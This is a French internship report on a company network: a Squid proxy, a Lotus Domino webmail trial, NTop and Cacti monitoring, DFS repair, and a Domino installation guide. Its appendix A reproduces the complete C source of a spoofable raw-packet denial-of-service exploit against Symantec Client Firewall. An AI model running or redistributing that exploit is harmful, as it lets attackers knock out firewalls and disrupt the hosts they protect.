}					

Afin de faciliter la configuration, l'interface "webmin" et son module "webmin-squid" ont été installés. Elle est accessible à l'adresse https://10.1.1.21:10000/, et illustrée en Figure 3-4.

Figure 3-4. Configuration de Squid par Webmin

Une liste d'interfaces de synthèse de l'activité de Squid est disponible sur le site de Squid. Ont été essayées notamment SARG, squeezer2, calamaris et squidview. Si elles présentent chacune leurs avantages et inconvénients, on retiendra que squidview a une visibilité en temps réel mais nécessite une console texte, tandis que SARG et squeezer2 sont les plus complètes. squeezer2 étant absent de Debian bien qu'intéressant, un paquet Debian en a été réalisé, référencé et placé sur Internet.

De tous c'est SARG qui a le plus retenu mon attention. Il propose intuitivement un aperçu complet:

  • activité de chaque utilisateur,

  • liste des sites visités,

  • sites les plus consommateurs,

  • performances du cache.

Ce système génère une série de pages HTML, dont on peut régler la rotation comme pour des fichiers de journaux. Sa consultation a été rendue accessible par un serveur Apache, installé sur le proxy, et limitée aux administrateurs (sous-dossier de la page "Administration").


3.2.3. Service de messagerie

3.2.3.1. Installation de Lotus Domino Server pour Linux

Les utilisateurs pourraient vouloir accéder à leurs messages, même depuis l'extérieur de l'entreprise. Ceci n'est possible que par le VPN, et l'accès en est limité aux postes des utilisateurs nomades. Ainsi l'étude de la mise à disposition d'une passerelle web aux messages, ou webmail, m'a été confiée.

Afin de ne pas plus charger les serveurs déjà en place, une nouvelle machine a été dédiée à cette tâche. Autant pour l'intégration au système existant, et la centralisation de l'administration par la console Domino, l'installation d'un serveur Domino supplémentaire s'est imposée. La version 6.5.3 étant justement disponible sous Linux, son installation a été effectuée sous Debian, sur une machine neuve (Pentium 4 2.8Ghz, 512MB RAM).

Ici également une procédure d'installation et de configuration a été rédigée, elle est incluse en Annexe B. La documentation fournie traite d'une installation sur serveurs IBM zSeries. L'installation sur Debian a présenté quelques spécificités, notamment l'installation d'un paquet de compatibilité binaire absent de la Sarge (libstdc++2.9-glibc2.1), et le dysfonctionnement de l'interface de pré-configuration graphique (en Java) avec kernel 2.6.

Mis à part par l'ajout d'un script au démarrage du système, afin de lancer le serveur, sa maintenance a été impossible sans utiliser une interface Domino. L'administration serait possible par une console Java, mais je n'en ai pas trouvé l'accès. Cependant une interface web est aussi proposée.

Il est également important de mentionner que la seule jonction du serveur 6 au domaine 5 existant, avant même d'y avoir placé de répliques de bases, a provoqué la conversion immédiate des bases mail du format 5 au 6. Heureusement les clients encore en version 5 y accèdent apparemment sans problème.


3.2.3.2. Le webmail

Lotus Domino propose lui-même un accès web aux bases mail. Il reproduit sommairement l'interface graphique de Lotus Notes. L'ergonomie en est encore réduite par le mélange de HTML et Java, ce qui demande 2 à 3 fois de suite le mot de passe à l'utilisateur. Cette solution, déjà inacceptable, est encore corsée par l'adresse d'accès, peu intuitive: "http://<server>/Mail/<ID Notes>.nsf", soit par exemple "http://www.coventya.com/Mail/ppronche.nsf". La rédaction d'une page intermédiaire est envisageable mais ne peut résoudre l'ensemble du problème.

Mais Domino gère énormément de services, dont IMAP, surtout depuis la version 6. Protocole d'accès à distance de messages, il gère les dossiers, et garde les messages sur le serveur: il est donc plus adapté ici que l'autre protocole répandu, POP3. Mais surtout, IMAP est un standard, donc interfaçable avec une panoplie d'applications webmail existantes.

La possibilité de mise en production de ce service n'ayant finalement pas été décidée, une seule application webmail a été testée. Il s'agit de squirrelmail, installée sur un serveur Apache, cohabitant avec Domino sur la machine. Il a été intégré sans problème apparent au service IMAP de Domino, et même interfacé avec l'accès LDAP au carnet d'adresses.

La mise en production de ce service nécessiterait encore:

  • la réplication des boites utilisateurs concernées sur le serveur Domino;

  • la redirection du port HTTPS d'une IP publique sur le serveur Apache;

  • la création et le référencement d'un certificat SSL;

  • éventuellement, la définition d'une politique de renouvellement de ce certificat.


3.3. Monitoring

3.3.1. Santé du réseau local: NTop

3.3.1.1. Placement de la sonde

La première mission de monitoring était de donner une indication de la santé du réseau local, incluant l'usage du lien vers Internet. Pour ceci il fallait donc disposer d'un outil ayant accès à un maximum d'informations sur le trafic du réseau local.

L'idéal serait d'interroger, par exemple, un ensemble de "sondes" sur chaque connecteur réseau, et de les relier en distillant l'information nécessaire. Cette technique était cependant disproportionnée, car on ne disposait que d'un matériel similaire au proxy HTTP déployé, et surtout car le schéma du réseau en place (voir Figure 1-1) permettait de reporter l'analyse en un seul point: le switch central.

En effet, un seul switch interconnectait tous les liens disponibles, à l'exception des postes clients reliés entre eux sur un même switch. L'information liée à ces connexions était négligeable, car ces liaisons étaient les moins sujettes à saturation. L'indicateur privilégié en étant le retour des utilisateurs, clairement le besoin était ailleurs.

Si le rôle d'un switch est justement de répartir intelligemment le trafic, empêchant ainsi toute analyse globale sans distribution de l'information, ici le matériel à disposition disposait d'une fonctionnalité particulièrement intéressante.

Fonctionnalité très à propos, car le couple de switchs 3Com en place permettait de placer un port en "roving analysis", c'est à dire que tout le trafic passant par le switch y est dupliqué. La mise en place allait donc pouvoir se résumer au placement d'une sonde d'analyse sur ce port, avec une deuxième interface réseau, permettant de l'interroger à distance. Sans cela, on aurait par exemple dû équiper un ou plusieurs postes de bien plus d'interfaces réseau, dupliquant le trafic de liens en les plaçant comme passerelles, ou encore en les reliant avec un hub à chaque lien névralgique constaté.


3.3.1.2. Solution logicielle

Il restait encore à décider de l'outil logiciel à déployer. Là une consultation des outils disponibles m'a révélé un logiciel tout à fait adapté, NTop. NTop est un analyseur de trafic réseau. Il gère plusieurs types de réseau, tant au niveau du média utilisé (ethernet, token ring, ...), que des protocoles réseau (IP, IPX, ...), ce jusqu'au niveau applicatif (HTTP, Netbios, ...). Son principal but est d'illustrer l'utilisation d'un réseau, par des statistiques et des graphes. Il est consultable notamment par un navigateur web, comportant son propre serveur HTTP, mais dispose également d'une interface texte.

NTop étant fourni par Debian, son installation a été facilitée. Elle a été complétée par un paramètre à son exécution, soit l'indication du réseau IP considéré comme "local" (10.1.0.0/20), qui affine l'analyse. Une fois un mot de passe entré, l'information est présentée comme suit:

  • accueil, et pages d'information générales;

  • résumé, avec d'une part l'activité cumulée, et d'autre part un quasi instantané de l'activité en cours;

  • détail de l'activité de niveau lien et réseau;

  • détail de l'activité de niveau transport;

  • administration du service.

Le résumé de l'activité réseau donne une bonne impression de la charge globale sur le switch. La répartition de niveau transport permet de pousser le diagnostic par application, ce qui nous intéresse le plus ici. Enfin, le panneau d'administration permet principalement la spécification d'un mot de passe, et l'arrêt du service.


3.3.1.3. Découverte de trafic inutile

Le réseau en place étant paramétré exclusivement sur IP, la moindre trame étrangère s'est immédiatement révélée. Justement, un certain nombre d'imprimantes communiquaient leur présence en Appletalk et IPX notamment, et j'ai pu en affiner la configuration par leurs interfaces web respectives.

Cependant un périphérique inconnu a également retenu mon attention. Il générait du trafic IPX, j'ai donc obtenu son adresse MAC par NTop, et pu voir qu'il était branché au switch principal par le réseau de Chemetall. NTop m'a alors renseigné une IP à laquelle il a répondu. Grâce à nmap, un scanneur de ports avec découverte de système d'exploitation, j'ai pu déterminer qu'il s'agissait d'un hub IBM. Inutilement placé sur le lien (2 ports utilisés), j'ai pu le retirer de la baie.


3.3.1.4. Charge du réseau

Elle n'atteignait en fait en moyenne que 300 à 500 kbits/s, et n'a que rarement dépassé 2 Mbits/s. Les pointes correspondaient au trafic descendant maximal toléré sur le lien internet. Point névralgique du réseau en place, son utilisation ne saturait donc pas. De plus, elle était principalement constituée de trafic mail (80%), dont l'arrivée ne peut être contrôlée (spam, virus, ...). Les autres protocoles sont répartis équitablement entre DNS, HTTP, FTP, Lotus et Netbios.


3.3.2. Métrologie globale: Cacti

Le besoin de suivi du réseau s'étendant également à l'ensemble de l'infrastructure en place, avec notamment le besoin d'indicateurs de temps de réponse, il a fallu réfléchir à la mise en place d'un outil d'analyse distinct.

Le temps de réponse d'un lien s'obtient typiquement en envoyant un paquet à la destination voulue, et d'en obtenir un retour. On peut par exemple utiliser un paquet "ECHO" ICMP, plus communément appelé "ping". Il faut donc un outil capable de générer ces paquets, les comptabiliser et en retranscrire le résultat.

Là aussi, un logiciel a particulièrement retenu mon attention: Cacti. Il s'agit justement d'un logiciel de métrologie, utilisant une base de données SQL pour entretenir son paramétrage (MySQL), et une base de données statistique pour garder l'information (RRD). Il est paramétrable et consultable par une interface web.


3.3.2.1. Paramétrage et extension

J'ai d'abord testé Cacti sur mon propre poste de travail. Ce choix ayant reçu l'approbation de M. Brisy, je l'ai déployé sur la machine hébergeant également le proxy. Il a d'abord simplement retracé le temps de réponse du site vers les sites distants. Ceci permettait déjà d'illustrer les interruptions de service de chaque site, et les conditions d'utilisation. La plupart des liens oscillent autour de 300 ms de temps de réponse, mais certains montaient régulièrement à 1000 ms (Gutersloh). Dans ces conditions, des logiciels comme PC Anywhere souffrent un peu, mais globalement les services utilisés ne sont que peu affectés (Domino, Active Directory et DFS se répliquant de façon asynchrone).

Mais Cacti ne se limite pas à ICMP, il s'agit également d'une interface SNMP complète (SNMP est un protocole d'interrogation de périphériques par réseau). Le matériel déployé gérant déjà ce protocole, une présentation de l'information a pu être directement mise en place, afin d'obtenir:

  • le trafic lié à chaque port de tous les switchs et routeurs;

  • les ressources processeur des routeurs Cisco;

  • le trafic lié à chaque interface réseau des serveurs;

  • les ressources processeur et mémoire des serveurs;

  • l'espace disque restant des serveurs;

  • le nombre d'utilisateur connecté à chaque serveur;

  • et même le niveau de remplissage des bacs d'encre de certaines imprimantes.

Au final presque 200 points sont interrogés toutes les 5 minutes par Cacti. Il en génère à la demande des graphes, sur les dernières 24 heures, la semaine, le mois ou l'année. L'information est facilement lisible, et permet de la resituer à environ 15 minutes près sur les dernières 24 heures. Pour des raisons de performances et stockage, Cacti ne garde pas le détail des informations reccueillies. Il ne s'agit ici que d'indicateurs sur la durée.

Une solution de monitoring actif a également été testée, Nagios. Elle n'a pas été retenue, car beaucoup plus complexe à mettre en oeuvre.


3.3.3. Système de fichiers distribué: DFS

3.3.3.1. Introduction à DFS

DFS, pour Distributed File System, est un système de fichiers distribués, développé par Microsoft. Il permet de répliquer sur différents serveurs une hiérarchie de partages de fichiers. La réplication en est asynchrone, et effectuée selon la planification de l'administrateur. Si la première version, disponible sous NT 4, était limitée à une hiérarchie par serveur de domaine, Windows 2000 et versions ultérieures disposent de DFS sans ce défaut.

DFS utilise en fait le système de réplication d'Active Directory, FRS. Une hiérarchie DFS était déjà configurée avant mon arrivée à Coventya. Implantée initialement en urgence, son fonctionnement était erratique. M. Brisy m'en a donc confié la maintenance.


3.3.3.2. Documentation et outils en place

L'interface de mise en place de DFS est accessible par le panneau de configuration de Windows, dans la section dédiée à l'administrateur. Elle permet la création, modification et suppression des hiérarchies de partage. La seule option de diagnostic disponible se contente d'afficher un drapeau en face de la représentation des partages, qui demeurait systématiquement positif.

Heureusement une documentation assez importante est fournie par Microsoft, dans sa base de connaissances en ligne. Elle m'a permis de trier les messages d'erreurs présents dans les journaux d'événements des serveurs. Cependant, les codes d'erreurs étaient systématiquement des valeurs entières, absentes des documentations.


3.3.3.3. Extension des outils de diagnostic

Microsoft ayant connaissance de ces problèmes, ils ont fourni des révisions de Windows améliorant le support de DFS, et développé trois outils d'analyse: Sonar, Ultrasound et FRSDiag. Après la mise à jour de l'intégralité des serveurs, et l'installation du support .Net, j'ai pu les mettre à l'épreuve.

Sonar interroge l'ensemble des serveurs d'une hiérarchie, rapportant une série de valeurs représentant l'état de chaque système; on y obtient en fait le nombre de fichiers en erreur. Ultrasound est beaucoup plus détaillé, et il est fourni avec l'intégralité de la documention liée au DFS. FRSDiag est en fait une facilité d'accès aux journaux d'événements et de débogage de la réplication d'Active Directory, et en fournit un niveau d'analyse limité.

Une panoplie de tentatives de résoudre les problèmes de réplication a été tentée, dont l'augmentation des planifications, le renommage de répertoires, et la suppression des répertoires parasites créés par le système. Le dernier recours proposé était de réinitialiser la hiérarchie, par partage ou globalement. Les partages fautifs atteignant parfois 4GB, à répliquer sur des liens RNIS à 128kbps, M. Brisy et moi-même avons hésité à la tenter.


3.3.3.4. Résolution du problème

Après un essai sur un partage moins important, une réplication partielle a tout de même été tentée. Le système a vérifié l'ensemble des fichiers partagés, et les a comparés de part et d'autre par la génération d'un hash. L'opération a coûté une nuit de calcul processeur et d'échanges réseau, mais résolu la plupart des conflits.

Les derniers conflits restants étant signalés sans information supplémentaire, et une réorganisation de la hiérarchie en place étant prévue, il a été finalement décidé de créer une nouvelle hiérarchie DFS. Les erreurs restantes seraient dues a des manipulations effectuées à la création de la hiérarchie actuelle, et alors silencieusement non supportées.


Conclusion

La mission principale du stage, soit la mise en place du proxy HTTP et du monitoring, a été accomplie. Dans le cas de la configuration du proxy, ce dernier rend la navigation sur Internet plus agréable, mais n'économise pas tellement la bande passante liée (3%). Cependant, un premier blocage de site publicitaire a été tenté à la toute fin du stage, et devrait alléger notablement et durablement la charge du lien Internet.

La sonde NTop placée en salle serveur permet justement une analyse rapide et lisible du lien Internet, et du trafic critique du réseau local. La métrologie Cacti la complète avantageusement dans la durée, donnant des indicateurs de santé de la quasi-totalité des infrastructures informatiques. Que ce soit pour contrôler la performance des serveurs, la charge des liens, ou les ressources de stockage disponibles, il permet de contrôler l'usage du système d'information, et d'en anticiper les maintenances à venir. Je pense que mes collègues sauront y trouver une aide appréciable.

En ce qui concerne les missions effectuées en parallèle, et l'implication au sein du service informatique, je pense également avoir apporté de la sérénité à l'entreprise. Aux technico-commerciaux, représentant Coventya lors de déplacements, ou directement à mes collègues, j'espère avoir fait gagner un temps précieux, ce qui se ressent pour l'entreprise.

Les outils que j'ai déployés pour la réalisation de ma mission sont réputés pour leur stabilité, et ne devraient pas nécessiter de maintenance. Leur utilisation n'est pas triviale, mais j'espère que l'ultime séance de transfert de compétences en permettra une présence pérenne et utile pour Coventya.

Les réalisations effectuées au cours de ce stage ne m'ont pas présenté de difficulté technique particulière. J'ai néanmoins pu élargir ma culture en administration système, en approfondissant mes connaissances d'Active Directory ou encore Domino. J'ai eu la chance d'utiliser un certain nombre d'autres applications propriétaires, difficiles d'accès pour un étudiant (PC Anywhere, Symantec Client Security). J'ai pu m'initier à la gestion du matériel Cisco, 3Com, Watchguard et Cobalt.

J'ai surtout eu une vision du métier d'administrateur système en PME, et pu participer pour la première fois à la vie d'une entreprise de cette taille. J'ai également découvert la gestion du temps de travail par pointage, politique en place à Coventya pour les salariés non cadres.

A l'issue de cette période de stage, je pense que je ne vais pas retenter cette expérience. Beaucoup d'éléments extérieurs à l'administration système proprement dite font partie du quotidien, les utilisateurs ayant souvent recours aux informaticiens pour des questions de bureautique. De plus, la charge de travail était très souvent due à des bogues de logiciels propriétaires, ce qui est frustrant en comparaison de la culture des logiciels libres.

Enfin, cette première année de formation à l'INSIA ne m'a pas complètement satisfait. Les cours de réseau et d'administration de systèmes Windows ont mis l'accent sur l'installation d'un système Active Directory de base, sans aborder des aspects à mon sens plus importants lors d'une arrivée en entreprise. Je pense notamment à l'analyse d'une configuration à mettre en place ou prendre en main (par des illustrations théoriques à l'echelle, des études de cas), aux implications concrètes des solutions disponibles (en termes de maintenance, disponibilité et scalabilité), ou même aux aspects techniques sous-jacents (description des protocoles utilisés, compréhension de leur conception).

Cependant, la piscine (shell, regexps, C), et les modules de scripting et d'administration système (peut-être avec trop d'autonomie) ont renforcé mes compétences dans ces domaines. Globalement, la formation de l'INSIA m'a aidé à répondre aux besoins de mon entreprise.


Annexe A. Déni de service Symantec Client Firewall

/* Symantec Multiple Firewall TCP Options Denial of Service
 * http://www.securityfocus.com/archive/1/361283 */


#define _USE_BSD
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#define __FAVOR_BSD     
#include <netinet/tcp.h>
#include <netdb.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define sys_fatal(msg) { fprintf(stderr, "%s", "scf_dos: "); perror(msg); exit(2); }
#define sysh_fatal(msg) { fprintf(stderr, "%s", "scf_dos: "); herror(msg); exit(2); }

static unsigned short _checksum(unsigned short * buf, int len)
{
    uint32_t sum;

    for(sum = 0; len > 1; len-=2)
        sum += *buf++;
    if(len == 1)
        sum += *(unsigned char*)buf;
    sum = (sum >> 16) + (sum & 0xffff);
    return 0xffff - sum + (sum >> 16);
}

static unsigned short _checksum_tcp(struct ip * ip)
{
    struct tcp {
        uint32_t s_addr;
        uint32_t d_addr;
        uint8_t zero;
        uint8_t ptcl;
        uint16_t len;
        struct tcphdr tcph;
        uint32_t tcpo;
    } ptcph;
    ptcph.tcph = *(struct tcphdr*)((char*)ip + sizeof(struct ip));
    ptcph.s_addr = ip->ip_src.s_addr;
    ptcph.d_addr = ip->ip_dst.s_addr;
    ptcph.zero = 0;
    ptcph.ptcl = IPPROTO_TCP;
    ptcph.len = htons(sizeof(struct tcphdr) + 4);
    ptcph.tcpo = 0x000005;
    return _checksum((uint16_t*)&ptcph, sizeof(ptcph));
}

static int _scf_dos(in_addr_t srcip, in_addr_t dstip, uint16_t dstport)
{
    int s;
    char datagram[4096];
    struct ip * iph = (struct ip *)datagram;
    struct tcphdr * tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
    uint32_t * tcpo = (uint32_t*)(datagram + sizeof(struct ip)
            + sizeof(struct tcphdr));
    struct sockaddr_in sin;
    int n;

    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
        sys_fatal("socket");
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = dstport;
    sin.sin_addr.s_addr = dstip;
    memset(datagram, 0, sizeof(datagram));
    iph->ip_v = 4;
    iph->ip_hl = 5;
    iph->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr) + 4);
    iph->ip_id = rand();
    iph->ip_ttl = 128;
    iph->ip_p = IPPROTO_TCP;
    iph->ip_src.s_addr = srcip;
    iph->ip_dst.s_addr = sin.sin_addr.s_addr;
    for(tcph->th_sport = 0; tcph->th_sport == 0; tcph->th_sport = rand());
    tcph->th_dport = htons(dstport);
    tcph->th_seq = rand();
    tcph->th_off = 6;
    tcph->th_flags = TH_SYN;
    for(tcph->th_win = 0; tcph->th_win == 0; tcph->th_win = rand());
    *tcpo = 0x000005;
    iph->ip_sum = _checksum((uint16_t*)iph, sizeof(struct ip));
    tcph->th_sum = _checksum_tcp(iph);
    n = 1;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &n, sizeof(int*)) == -1)
    {
        perror("setsockopt");
        return 2;
    }
    if(sendto(s, datagram, ntohs(iph->ip_len), 0, (struct sockaddr*)&sin,
            sizeof(sin)) == -1)
        perror("sendto");
    fprintf(stderr, "%s%hhu.%hhu.%hhu.%hhu:%u -> %hhu.%hhu.%hhu.%hhu:%u\n",
            "1 packet successfully sent: ",
            iph->ip_src.s_addr, iph->ip_src.s_addr >> 8,
            iph->ip_src.s_addr >> 16, iph->ip_src.s_addr >> 24,
            ntohs(tcph->th_sport),
            iph->ip_dst.s_addr, iph->ip_dst.s_addr >> 8,
            iph->ip_dst.s_addr >> 16, iph->ip_dst.s_addr >> 24,
            ntohs(tcph->th_dport));
    close(s);
    return 0;
}

static int _usage(void)
{
    fprintf(stderr, "%s",
"Usage: scf_dos [-s <source ip>] <target ip> <target port>\n"
"  -s\tsource address to use (default: random)\n\n"
"Note that the target port has to be opened.\n");
    return 1;
}

int main(int argc, char * argv[])
{
    int o;
    struct in_addr srcip;
    int dstport;
    char * p;
    struct hostent * he;

    srand(time(NULL) + getpid());
    for(srcip.s_addr = 0; srcip.s_addr == 0; srcip.s_addr = rand());
    while((o = getopt(argc, argv, "s:")) != -1)
    {
        switch(o)
        {
            case 's':
                if(inet_aton(optarg, &srcip) == 0)
                    return _usage();
                break;
            case '?':
                return _usage();
        }
    }
    if(argc - optind != 2)
        return _usage();
    dstport = strtol(argv[optind+1], &p, 10);
    if(*argv[optind+1] == '\0' || *p != '\0'
            || dstport < 0 || dstport > 65535)
        return _usage();
    if((he = gethostbyname(argv[optind])) == NULL)
        sysh_fatal("gethostbyname");
    return _scf_dos(srcip.s_addr, *(in_addr_t*)(he->h_addr), dstport);
}

Annexe B. Installation et configuration de Domino

Attention

L'installation de Domino a été réalisée sous Debian, cependant en cas de spécificités liées à cette distribution, la manipulation "universelle" correspondante est précisée si possible.

Remarques importantes. l'interface de configuration graphique n'a pas fonctionné sous Linux 2.6 (threads?)

Création des utilisateurs. Avant de lancer l'installation, il faut créer un utilisateur "notes" (ainsi que son groupe), utilisateur qui va lancer le serveur. Sous Debian il suffit d'exécuter la commande suivante:

# adduser --system --group notes
				
Sinon les commandes suivantes devraient convenir (il faut déterminer un uid et un gid, suivant disponibilités dans /etc/group et /etc/passwd, une valeur égale entre uid et gid est possible et pratique, et souvent entre 100 et 500 pour les comptes système):
# groupadd -g <gid> notes
# useradd -u <uid> -g <gid> -d /home/notes -s /bin/false notes
				

Lancement de l'installation depuis le CD-ROM. Monter le CD-ROM d'installation (ici appelé "Linux: Global English Edition" pour RedHat AS 2.1 pour Intel Pentium). Il est considéré que le point de montage est "/cdrom":

# mount /cdrom
				
Se placer dans le répertoire d'installation et lancer l'installeur:
# mount /cdrom
# cd /cdrom/linux
# ./install
				
Si l'erreur "Permission denied" apparait et que vous etes bien "root" (la commande "id" renvoie uid=0) il est possible qu'il faille autoriser le système à exécuter des programmes depuis le CD-ROM:
# mount -o remount,exec /cdrom
# ./install
				

Installation. Après avoir accepté la license, il faut déterminer si l'on veut installer ou mettre à jour des répertoires de travail existants. Dans le cas de l'installation d'un nouveau serveur, répondre "No".

Le type d'installation retenu est "Domino Entreprise Server". Il convient d'en installer tous les fichiers template "Yes", et de désactiver la fonctionnalité d'ASP (pour Application Service Provider).

Le chemin d'installation est à choisir au cas par cas, et souvent sujet à de longues discussions pour en déterminer le meilleur. Ce sera typiquement "/opt/lotus", "/usr/local" ou "/usr/local/lotus". Ici "/usr/local/lotus" a été choisi, car l'installeur de la Debian ne laisse pas de place dans "/opt" dans sa configuration automatique "multi-user", et l'installeur Domino suffixe toujours "/lotus" à son chemin si nécessaire. Il ne devrait pas être nécessaire de créer le lien symbolique "/opt/lotus", qui a pu être nécessaire dans de précédentes versions. Ici on ne veut pas faire tourner plus d'un serveur sur l'installation en cours.

En ce qui concerne l'emplacement des fichiers de données, d'une manière générale on choisirait "/var/lib/lotus" ou le répertoire de travail de l'utilisateur possédant le service. Ici la partition la plus grosse est "/home", elle est donc utilisée ("/home/notes/data" par exemple). Comme indiqué au départ de l'installation, on choisit donc l'utilisateur et groupe "notes".

Seul "Manual server setup" a été testé. L'installeur copie alors les fichiers comme spécifié.

Configuration du serveur. L'installeur recommande alors de procéder comme suit:

  1. Se logger en tant que "notes"

  2. Se rendre dans le répertoire de travail de Domino: "/home/notes/data" (ou l'ajouter à sa variable d'environnement PATH)

  3. Configurer le serveur en lancant la commande: "/usr/local/lotus/bin/server"

Dans le cas d'un utilisateur système, normalement il n'est pas possible de s'y connecter. Les commandes suivantes y dérogent:
# usermod -s /bin/bash notes
# su notes
$ cd ~/data
$ /usr/local/lotus/bin/server
				
Le programme de configuration est graphique. Si il n'y a pas de session graphique directement accessible, il est possible d'ouvrir localement sa session:
$ xhost +local:
$ DISPLAY=:0 /usr/local/lotus/bin/server
				
Il faut alors répondre aux questions d'intégration du serveur au réseau existant. Un fichier id a été généré sur le serveur principal, et copié depuis un partage windows:
# mkdir -p /mnt/<server>/<share>
# mount -t smbfs -o username=<username> //<server>/<share> /mnt/<server>/<share>
				
Une fois la configuration achevée, lancer le serveur à l'aide de cette même commande (toujours en tant que notes):
$ /usr/local/lotus/bin/server
				

Maintenance du serveur. Une fois le serveur lancé, il est administrable à distance, à partir de Domino Administrator. Un problème subsiste: lancer le serveur au démarrage. Un script init a été écrit, "/etc/init.d/notes", et placé pour exécution au démarrage:

# for i in 2 3 4 5; do ln -s ../init.d/notes /etc/rc$i.d/S40notes; done
				
Quant à relancer ou arrêter le serveur proprement, depuis la machine hôte, je n'ai pas trouvé d'autre solution que de redémarrer la machine.